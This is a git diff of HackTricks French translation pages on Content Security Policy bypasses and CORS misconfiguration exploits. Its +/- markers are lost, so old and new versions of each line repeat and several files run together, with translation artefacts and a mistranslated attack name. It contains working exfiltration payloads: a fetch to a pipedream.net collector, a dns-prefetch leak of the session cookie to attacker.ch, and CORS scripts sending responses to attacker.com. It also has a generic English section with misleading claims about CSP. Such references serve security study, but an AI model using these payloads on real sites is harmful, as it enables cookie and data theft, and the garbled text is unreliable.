Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** a permis d'**abuser d'un script différent pour charger un script arbitraire**.
|
||||
|
||||
Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
|
||||
Vous pouvez **restreindre un CSP d'un iframe** avec l'attribut **`csp`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -540,15 +546,15 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dans [**ce compte rendu de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin de désactiver un script empêchant la CSTI, rendant ainsi la **vulnérabilité exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés en **supprimant** l'**entrée** permettant leur **nonce** et en **activant un script en ligne spécifique via sha**:
|
||||
Dans [**ce compte rendu CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
|
||||
Un CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
|
||||
```
|
||||
### Exfiltration JS avec Content-Security-Policy-Report-Only
|
||||
### Exfiltration de JS avec Content-Security-Policy-Report-Only
|
||||
|
||||
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
|
||||
|
||||
|
@ -564,7 +570,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
- Cette URL redirige ensuite vers une URL secrète (par exemple, `https://usersecret.example2.com`) qui n'est **pas autorisée** par CSP.
|
||||
- En écoutant l'événement `securitypolicyviolation`, on peut capturer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, divulguant le domaine secret vers lequel l'URL initiale a redirigé.
|
||||
|
||||
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite potentielle d'informations sensibles en raison d'un comportement indéfini.
|
||||
Il est intéressant de noter que les navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite potentielle d'informations sensibles en raison d'un comportement indéfini.
|
||||
|
||||
Une autre technique consiste à exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester de manière itérative différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode:
|
||||
```markdown
|
||||
|
@ -584,7 +590,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes en bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -609,22 +615,22 @@ setTimeout(function() {
|
|||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
### QUELQUES + 'self' + wordpress
|
||||
|
||||
SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
|
||||
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points).
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
|
||||
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** vulnérable qui **contourne le CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Contournements de l'exfiltration CSP
|
||||
## Contournements d'exfiltration CSP
|
||||
|
||||
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer l'information.
|
||||
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
|
||||
|
||||
### Location
|
||||
|
||||
|
@ -650,29 +656,29 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Bypassing Content Security Policy (CSP)
|
||||
## Bypassing Content Security Policy (CSP)
|
||||
|
||||
---
|
||||
|
||||
#### Introduction
|
||||
### Introduction
|
||||
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific page. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
### Bypassing CSP using `unsafe-inline`
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` directive in the CSP header. This directive allows the execution of inline scripts and styles, which can be exploited by an attacker to execute malicious code.
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP. While this method can be effective, it also introduces security risks by allowing potentially malicious code to run on the page.
|
||||
|
||||
#### Bypassing CSP using data: URIs
|
||||
### Bypassing CSP using `unsafe-eval`
|
||||
|
||||
Another way to bypass CSP is by using data: URIs to embed resources directly into the HTML document. By using data: URIs, an attacker can load resources without triggering CSP violations.
|
||||
Another method to bypass CSP is by using the `unsafe-eval` keyword in the CSP header. This allows the execution of code generated by `eval()` functions, which are typically blocked by CSP. Similar to `unsafe-inline`, using `unsafe-eval` can open up security vulnerabilities on the website.
|
||||
|
||||
#### Bypassing CSP using dynamic script injection
|
||||
### Bypassing CSP using Data URI
|
||||
|
||||
CSP can also be bypassed by dynamically injecting scripts into the DOM using techniques such as `eval()` or `document.write()`. By dynamically injecting scripts, an attacker can execute arbitrary code without triggering CSP violations.
|
||||
Data URIs can also be used to bypass CSP restrictions. By encoding the script or style data in a Data URI format, it may be possible to execute the code despite CSP settings. This technique can be effective in certain scenarios where other methods fail.
|
||||
|
||||
#### Conclusion
|
||||
### Conclusion
|
||||
|
||||
While CSP is a powerful security mechanism, it is not foolproof, and there are ways to bypass it using various techniques. Web developers should be aware of these bypass techniques and implement additional security measures to protect their web applications from attacks.
|
||||
While Content Security Policy is a valuable security measure, it is not foolproof. It is important for developers and security professionals to be aware of potential bypass techniques in order to strengthen the overall security posture of web applications.
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -697,9 +703,7 @@ En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Co
|
|||
```
|
||||
### Autre option :
|
||||
|
||||
Translate to French:
|
||||
|
||||
### Autre option :
|
||||
Le contenu de ce répertoire est destiné à des fins éducatives et de recherche uniquement.
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -735,16 +739,16 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
**Perspectives sur le piratage**\
|
||||
Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
**Actualités sur le piratage en temps réel**\
|
||||
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes au bug lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -757,7 +761,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -23,7 +23,7 @@ Tout contenu provenant de sources externes est également bloqué, y compris les
|
|||
|
||||
### Via Text & Images
|
||||
|
||||
Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles:
|
||||
Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en les centrant, etc.). Par conséquent, si une image ou un fichier texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles :
|
||||
```javascript
|
||||
frame=document.createElement("iframe");
|
||||
frame.src="/css/bootstrap.min.css";
|
||||
|
@ -34,7 +34,7 @@ window.frames[0].document.head.appendChild(script);
|
|||
```
|
||||
### Via Erreurs
|
||||
|
||||
De même, les réponses d'erreurs, telles que les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes :
|
||||
De même, les réponses d'erreur, telles que les fichiers texte ou les images, viennent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Les erreurs peuvent être induites à se charger dans un iframe, permettant les actions suivantes :
|
||||
```javascript
|
||||
// Inducing an nginx error
|
||||
frame=document.createElement("iframe");
|
||||
|
@ -74,7 +74,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -41,7 +41,7 @@ Cet en-tête est **émis par un serveur** en réponse à une requête de ressour
|
|||
|
||||
### En-tête `Access-Control-Allow-Credentials`
|
||||
|
||||
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête Authorization. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
|
||||
Si défini sur `true`, le navigateur transmettra les informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
|
||||
```javascript
|
||||
|
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### Requête de pré-vol CSRF
|
||||
### Requête de pré-vérification CSRF
|
||||
|
||||
### Comprendre les requêtes de pré-vol dans la communication entre domaines
|
||||
### Comprendre les requêtes de pré-vérification dans la communication inter-domaines
|
||||
|
||||
Lors de l'initiation d'une requête entre domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vol peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête entre origines croisées, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser.
|
||||
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vérification peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle compte utiliser.
|
||||
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération entre origines croisées demandée en vérifiant les méthodes autorisées, les en-têtes, et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification préalable pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes, et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vérification, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vol n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête entre origines croisées.
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vérification n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
|
||||
|
||||
Considérez l'illustration suivante d'une requête de pré-vol visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
Considérez l'illustration suivante d'une requête de pré-vérification visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -99,7 +99,7 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
- **`Access-Control-Allow-Headers`**: Ce header spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
- **`Access-Control-Allow-Headers`**: Ce header spécifie les en-têtes qui peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
- **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples.
|
||||
- **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées.
|
||||
- **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
|
||||
|
@ -108,11 +108,11 @@ Access-Control-Max-Age: 240
|
|||
|
||||
|
||||
Notez qu'en général (selon le type de contenu et les en-têtes définis) dans une requête **GET/POST, aucune requête pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous souhaitez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ le permettant.\
|
||||
**Par conséquent, CORS ne protège pas contre les CSRF (mais peut être utile).**
|
||||
**Par conséquent, CORS ne protège pas contre les attaques CSRF (mais peut être utile).**
|
||||
|
||||
### **Requête pré-vol pour les demandes du réseau local**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la demande provient du réseau local.
|
||||
1. **`Access-Control-Request-Local-Network`**: Ce header est inclus dans la requête du client pour indiquer que la demande est destinée à une ressource du réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local.
|
||||
|
||||
2. **`Access-Control-Allow-Local-Network`**: En réponse, les serveurs utilisent ce header pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières réseau, assurant un accès contrôlé tout en maintenant les protocoles de sécurité.
|
||||
|
||||
|
@ -137,11 +137,11 @@ Il est également possible de **contourner les exigences du réseau local** si v
|
|||
|
||||
## Configurations mal sécurisées exploitables
|
||||
|
||||
Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` à **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire émettre une requête par un navigateur plutôt que de le faire soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable.
|
||||
Il a été observé que le paramétrage de `Access-Control-Allow-Credentials` sur **`true`** est une condition préalable pour la plupart des **attaques réelles**. Ce paramètre permet au navigateur d'envoyer des informations d'identification et de lire la réponse, améliorant ainsi l'efficacité de l'attaque. Sans cela, l'avantage de faire émettre une requête par un navigateur plutôt que de le faire soi-même diminue, car l'exploitation des cookies d'un utilisateur devient irréalisable.
|
||||
|
||||
### Exception : Exploitation de la localisation réseau comme authentification
|
||||
|
||||
Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à un navigateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter.
|
||||
Une exception existe lorsque la localisation réseau de la victime agit comme une forme d'authentification. Cela permet à l'ordinateur de la victime d'être utilisé comme proxy, contournant l'authentification basée sur l'IP pour accéder aux applications intranet. Cette méthode présente des similitudes d'impact avec le rebinding DNS mais est plus simple à exploiter.
|
||||
|
||||
### Réflexion de `Origin` dans `Access-Control-Allow-Origin`
|
||||
|
||||
|
@ -158,7 +158,7 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Exploitation de l'origine `null`
|
||||
### Exploiter l'origine `null`
|
||||
|
||||
L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS.
|
||||
```html
|
||||
|
@ -188,7 +188,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### Techniques de Contournement des Expressions Régulières
|
||||
|
||||
Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaines. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement.
|
||||
Lorsqu'on rencontre une liste blanche de domaine, il est crucial de tester les opportunités de contournement, telles que l'ajout du domaine de l'attaquant à un domaine autorisé ou l'exploitation des vulnérabilités de prise en charge de sous-domaine. De plus, les expressions régulières utilisées pour la validation de domaine peuvent négliger les subtilités des conventions de nommage de domaine, offrant ainsi d'autres opportunités de contournement.
|
||||
|
||||
### Contournements Avancés des Expressions Régulières
|
||||
|
||||
|
@ -230,11 +230,11 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
